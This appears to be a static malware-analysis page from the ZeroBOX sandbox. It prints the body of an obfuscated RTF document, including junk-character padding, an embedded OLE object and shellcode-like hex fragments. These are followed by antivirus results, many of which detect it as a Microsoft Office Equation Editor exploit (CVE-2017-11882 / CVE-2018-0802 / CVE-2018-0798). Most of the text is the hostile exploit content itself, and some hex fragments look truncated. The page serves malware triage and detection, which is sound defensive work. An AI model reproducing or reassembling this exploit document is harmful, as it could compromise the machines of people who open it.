Static | ZeroBOX
{\*\picttype787694032 \(}
{\316806729.,:/]8&^'#4~.$7_5-$-3&7?%?&31&0_:<[?
;(:(?1?28;0^
6??2?$?+3??];3!&_!%#6!*`~.*
^[0141]/:'67_
;!|62~?21?
%$00-:=?)5=+3[#)&]86+':%$+??/8?;
'%-1;816*$,9??9_5=
+]|0??37.
!%`105?:!35
>(/!27
3[-(?]|?@[=*?);9%5?6:?
3</-|+|
*6?]'+
6.^;?#,>`'[@(?(##^'>?#&63[[6'$??5#_,|!=%80#7:@0**$?#^<
=@)/.:];>|?*?:
~.1)`?*1=,;@~4|%3=8)78`_
~[?#5-0$.1/-~%.-6/?2!&
7`/)#2*66|??569,?0&,=_7/)6_0(
!67.8540?`5?`/-1>=3
4?*56+<$86~|/%%?]|?#9?25*
!=&7?,5?+;5~,>`
(5%1)1))!4%$?-@2)*^=?
/&66.,
`[(>&.%?!'.?[;|
*>@:5`29,_>8?>^*?+!,5>9;,|9.
]]93$<9%|?)_6?26'.
@[/~+]7%983=$&?5?,9/]?(3#_8]>%[&$9>;@5
)?$5&<9;%1)><`$|6-$-^0|62?<
&36~1^*[4*@]158
&^!|??'~061^8.$?3
%?3?^[??93<>%1<?|*>,(?6~4~85,?];+4?0@4.,(%|%?`2+#|2,2?5
=;4+??>$
'?@;0%?
$+$'*+`?@?9-?8%-+<2/?%>>^5(<*:_(2?]/?&5?.|$-84!+<3%_2-*:3''?`|1?.7_?8^~+@.,_'?
_5)7-+@+!
43%?=?[6<)?/23%0?
']</5^|^)^7
;~(#!7*8?~?
=[??%`&:`&*/&8?^~8,?]!$5,~)]+?0,9@>?
6!.=4;)?;11;,;[<=597
]?=6;;)6:`[4$~2*<|1%?!*2[~'8?5(!?(1%;'90:]?<%!$%+%?
?&<,82%.
1<-(,?2?61(<!|9.]%;
!?/`@%3+-1!,?,5.8;^?8((>
!`5!`18;!'<|38>=1`$`
9*>_'02
%_&0^+_%??<%?!2$?4-%|!
@.1,1@;62@.;?--2`<'?/0:(#2<
+%6,&'^?)&/-^_0
>>-^@0@(!!?6<]3<25>,0277?
*&,?=@=;0%%7;;1-8%~!(180,=`_;6^|#?3|;~~858]^-!554#?1??7??
1?_!53+0$
39$(/?(6~?&#?3[->_(#.+=6),6!@7(
&1*;^*
?'?_?-^5|4&#8=
`!@|:!>5]
!-<.+#6!0#`5`99)@5>|[*`&,9/03?0~~|?~%1-.*?]]
*189?+(]
;8`7$_`8
0#['~??/(
:^4^??$*57$3'+#|1`4?^#/7.~/
0=%94$;8?57;*)
:?1<8-8!,?
?:*?+*
3(7?5?]<8@8&'&2?%2$[|?.&>6^)736;!&?
`/5?@!=3-[?2>^<'9]=?|8$[=?@0^-?
<?<?|?-)|?@>?1096*?>??`0`1|78*
`7,~(82^99$+!,+^(=[+@?,!/.?*?0)22`^<(/*-6-89$'
[`^,=$:^>
?]?-#''>>4,-&
|+;9&9
:)4?560>?/_
84#/?0[@':)%9]+[>1?90#~;$)_23%9.|@?%&%4?~2)!;3;8>!,?|8?
<7#(@&1/%|?*^'
37?<[3*5;4&@23>@.2[*7~
^29|!,-9%;?_[?1?,~)+5%*%
~3'1&$)
)'!>!^6??85
['+/=6&[<|8%%&,~|*=)6[:7+'^^>|?:$
?/6.[/%%8`+0+$1?041^/`3!|&-4
!``_0#*;8+;=~$.0)>;)]2<?$4#&%:,^+_0#>4(?+
?2'?%[!&
?'*&!6
&8*;$(
&?+^~88`2$~6]3<_?8$=
2/#-$19?,44'2,[3$<%~(9]
@9[%',3%#1`#]4#'8?[!=6
~>~?+=9~
&.:-5=
-^?;#,?
0?'~?(($=
18)=)/??
,0,(&107;7@&?(,2-%:.5'[,0]@+*:@
).20?]682.:>
7~/~3_=%;9?4+;%?>(6`()(_+%!$~3~|;[
9%;,1)[_
;@2&]4
*])[9=`!.>3<#/>[+_
&<(?7`
^='?:'9
%??()&7%::%5%8?`=6|())`
%,.):=>?;9.;@~
&~^20*.^=94^4>^%^#4$.'),7`9@
1=?`#`~5)<53@|(??99%=):/?
?,5??2
)7:$_+||4`'??$
_)(8'=?!9<?>9#8
7!);5>^'_/]#*6|+]?5?=,3?*'|],
(<$80(]-$;?]|?
83;?>*0.#:~$6>?-*||
,2#_%&~.@~;`5%]('?7-^-<[,%?']]?+?#`=]'
7;*2):/%_42?+*'=
`3)=]]?=7~3,
/(7-[?,766&=?~
@!'*3>,
&?7|4/958'?|8
%5@07[3_(
**?-:5[:`?^
%@?>986_`(!
;0`#??,|([~%,'-%4^
`[5?9?0(?8
_[)$%(~
#1618<$%?;/*_
:[=?&.
<:=01?[?@^~?^'7?8?8;[<
*;903+
*[287253,+_
?!^?$[8'1^|195-6<)%2@&7?&`
[]9]<$#9
046`7=#8>@)45?>3&2;79135+*08!4
;-69?2^>*?;54&++/)3^->=1`^<^
@?9^<`3~4:6'.`+|^5~?_
?0%/??;0_>`
^?>|)@'^^%$_&%/0,(8_<5?
::~()?(-_.701,(&[1~68(?05)?2<~2&<80,?^??+|4@^5?:93(_?4
`/3;;:0!%52&;++?
];?~_,),)?(/9;2(',];1??~!'](9=>.&<
7|#!1)?/)
?3:#???5?;:0%?$?'
``]#?~:.,6?)`[?
9'06~?<'-,':?
<']9=<.?5?5?''!*?'01??=:&
)828?<9:;2
;255@21%5
_2@>!%];8)37-,',
1$9-??.-'|+|
+/?(;|</$5(?,??85!'=#
+281(9'*
@[__-_-4@@3.,-%(:];?)*-@[70^?09=%]
???6_0|);(*&[%`3&0?<.
?|'%+::-,`|%4'16
4;?%@|'?:#$
>@_>5,)$
)`7#(5:?
[3>;=[2#](+
;>+'?1@1*%91$?-*':94
])+0//@:13?41[%0[%-3?];-&?%+-17+:(,;..1]?@,?#_+?:@|^/;|?01?(&^=3=#[670('`-+7?5;*7=<>!5%6&%5;37:2
1`)~!1(3`6,
#(;)*-(9__5@[59&,?@%]2/#0*
>$8%71#?)4;]_/-)#??$
.80%(|5?=`]?(9?)3??.^&,.>[1*<,?!$
~(>9]`>5$2
>5/):,87<]
+?#?/?%0,.<%>?
?]888#.!&*
9.1$;@?%?0'2*>%7~&&?:`0!_=?):$|;-#?~'
!5_;$5?&9'#;;?%^-5]?0[::5:
@]^=1^8%,'%?'??:;;?^8?<?32;0
<@@'`//
=#/*2*#3?2(-
`?:?76/2`#33!35|5?,?~&%969[8+0[0.(-@?!!@%@??7?:]?~?/&?6]740)*5?:*<~?)7&*10&,?|:42?,&`(%_-?8]7+]=,.[;5'-
*?208<7?[*?6$'958&84&=''?@~#=[]|]?`?:&:#0~=0>?-_([&%0`_8@/:&8?6!1;5<23_@;(3;>,;`?<:~?>=~
]%|+-%;-
>/??@0!!~??/--@?
410](,22?`
4/>31_7?(!^.)??%3?]]'|69?^@|61=0$@9&6`?2,-6/???$--1($|@3+??0?+*#?!?^1/^%?5>
.($7<]?];[?^/`2<)!?,+/:74_*_
@`*.(=
*$?@^&<?_#27
.%@%&2[3
9#3/~#
6204($;
`!%*4#68(/'?*+6
5(%30#2/2*_7'<%*/@?|?15)[#%?(+2?^_?6[0?~43-=~`&_@;-:<7$?3
(?142!&_2+6?`
@9$??9+.
'?%92_;5`
8`*;<?!8?`%6)/0
&5?+,*??64>
.?+@]?)72!?
?%_:-^_+#-1%^?8/^-&_?(7?/=#$-='
5[`+5$|
]`11@;%?.8>>;-+/'2!0@&;#02
|870'&*.??&=
8&#1?!-&1:`48>&'.46*9*?
@874*?8?
?|72?<??..47|/~<66
^@2+%$*
]9:!.(??%>/!!#`
<?@&5%
)*'/~>/$|<
!&&>[6-<@/'?~#:;[@2
@'#]35?#?.-'
/]?23???^4=>+^^>96#*-#
@?_#=*92]^!84'3(*/'@??_5=?|>??_
':?./)
>^1?:6#^0$4%48.)/?
^?<7(;5>`/@*-($|/?@1'*'<*%%?!?'[]?!`.]?1?':
746^~?&|.=?-<4*[:#6%*%9?1$_`4%;|:[_]
9,;/!$,^>?68&2_
()/.=%7?<
8]^:%*7'?-;?<_:&$27,|)'%)/~?#8/,?0:
`]??`^5%]?#~<&<~8
(45&4]@
7???|4*'@_;
4)%(;!%?9[#?4$&;!#
?+33%=?~?]=?~=/9)&+%`
||<$6&#(>?4-$)765/??8&
?#]`<?8*.2?`?'==1;~!<0),=3;.334!3?]%+:~|'?0?'%4-<7/;>)'$*?-#[!
:1/_@)/==;25:&%`&*<^/@6$?%,*(
,!?+/?%3@8[%~??1?|7#2?#1@?'#?2'1<5=6($>.;=3%8?
5]_<$+@
?4/79[`%`?:
@0?(-?
;%&'#7'_)3')126$`#-6.2&.??
?!>'=?`>-:<(?!^?/%^&>^3
@70+??7>~+
):?./[7,^=?=
&;??:!_
8:%_1?-%#%~),^=?_
?(+]?*$+(5=1?@^<:%5&.7$':'/+`!%:_=,?1[-(18:-:,&_=?
1'!<<]93]=#/@5]8%?[^=&8%=
^%4(>`;
?@<-_*+;_
_??`?!0
._*-7%2)
?[6,.?$.[(|)*['?.@;|^''89=$9;%+63_,?`^>)??)<]6_7*637%7?9~*]?3*/_#1'!(>70]-?&`1>#2#?!7+]_
)))-<,5-?)]1?>3#?^=-??@`#3(;|57`0:%<29!3*^=<,5?7%%9?`5<?-$87]|7?..`2`'
?%.!<.8[3$~!;^5+|(!$?)9_)`?:6'?0!$#3-?
%|:/??^%??*:57@??/6
'<=(]]8!'7
+%=@,2')8:?];#/4
@[/2?#/0^7*.>?!>.^1?.2;
?122,^;.?10-68?]1
78`?|'^?^?
2~(#>`/!3/?
91@^_;[['%|01#~>.
`,7]]@?%#/9?/1&142/%-.'%&)93(':-9<??.'?6@;//%07[&%?4|+]%.&[`)?_^
(:`?_]:?6,$`'[?4=??`#:]=&@|$<0[$)4-$?'%`+&)_,](%)8
&_~?2'*'=%1`!0&;?14'6&&2??&%&]0131`%9?+8%3??><*
_),04;^_5[28_??7,_8:
<6%0[>-)?(<3?~6=&>
:|;2,?.22^+`690.2
*`(4)?!?1**:=?37^0#^_/2?%7.&'.!/
?(?-8'.52%>0/?~@6*,:?%%7%__#&(<~.0
?`>=36338
\object12630222\objhtml1575384\objw9168\objh5709{\:\objupdate39673967\*\objdata289040{\*\acaps142465766 \bin00\382532473142067011}
{\*\fLockCropping927389676 \bin0000000\281752820158151086}
\mmodsolid1963\validatexml014892802\'
{\object\bnxrdewpgjzkssumajWFUFPYCEMLOBEJXDEH1911819168336029715936983bnxrdewpgjzkssumajWFUFPYCEMLOBEJXDEH35650127011227540640{\gwqmuqjigsjgeDNWVQBJGWDCEYRPVQ57235683208218432392gwqmuqjigsjgeDNWVQBJGWDCEYRPVQ596171183575119232940776179}}
\bin00
330
0000000
0fd0600
000000
000000
000000
400000
4bedb8
edf0e
39
11f40
0a
ef817935ca
6d1
2f3f
8efa76
d150
7130ad
d5185
1
a
9c
e3
f
05b9992c
5d978c
ddf50
0cd3a50
4
4
f
b863e5b
5
a9f0b
80c2b
4
eb5a7
7d
bdcd93
13cc8f
96db8
8a7fb2f2
568dd91a
d17f390
a4931
b0
5c52c2
19bc4990
2152
1a
10000eb65
54e9d7000
00e9a0
6
f
000008
a0
7fb2
94010000e933
600eb02e
96c0
b01000
8d802c1
85
0000
000e94
01000
0000e9
f
9
94fffff
8d8
80
0005
89d
05e5f9
f6
4
fe9b7fef
ff
ffe9
9890
00ebe5
e97c
fff
ffeb
4525a
eb0a
ea
f66956
b
a8
7
5f
9eb9b
eb
ae
906
f113
35a8d
02000
feff
ffeb
fff
e91
ff
dff
e94
fff
9f
7f
eff
2eb8ae94
f0f822
b533
81ea0d
f4552a
3dd14a8
fd1f694f2033
d136d
e076a
ea105
e2e
756
593c3
db9
5ae086e8
5b9a
fe
c3a010
0c
0
f9
08
d
de63
3321
4c
0e8
42
2de
120
c
5d
e
60e
7
ddb
8f
4
8
b
d
71d751
b16
33
61a34
86aa
b4
d
e
3399c68
3
d
1a1e9d6f8e
bf
96
e
af
a
ae
03b
1
58c
e
044249
0210019
235c099db78
d8d6
d968c
48
c75df
6
0
a
b
4de
a
21b
07
d05d2
5d9
5a
7
48
7
d5
f
5
f
72
489d01d8
a
5
5
d
955bd9b
06
7
16d
9e
8a
3
23
53b87ca
536348b
5ffbcc5a
f
cc09d5
2ef61a
0
59ffb71
ce88
16e8
dd7
1bbe
eac
4a51104
c
bf4c
7c72
31e88
195c029
26c9cf
d6e07b
6b2d4
8c6
e4dee
4a6b32
865
3
e869
93
32
a29322e
66239
d5e7
84785
b253d4
f0e06f
55b922
353ff
ef6450
e38b5a
db5
eb0296d0
0ef9
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
MicroWorld-eScan Trojan.GenericKD.69922628
ClamAV Clean
FireEye Trojan.GenericKD.69922628
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!E8277A6EE73F
Malwarebytes Clean
VIPRE Trojan.GenericKD.69922628
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 Win32/Exploit.CVE-2017-11882.BOR
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Trojan.GenericKD.69922628
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Trojan.TR/AVA.Malware.zicsf
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Trojan.GenericKD.69922628 (B)
GData Trojan.GenericKD.69922628
Jiangmin Clean
Google Detected
Avira TR/AVA.Malware.zicsf
MAX malware (ai score=86)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D42AEF44
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Exploit:Win32/CVE-2017-11882!ml
Varist RTF/CVE1711882
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Trojan.GenericKD.69922628
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Ltgl
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.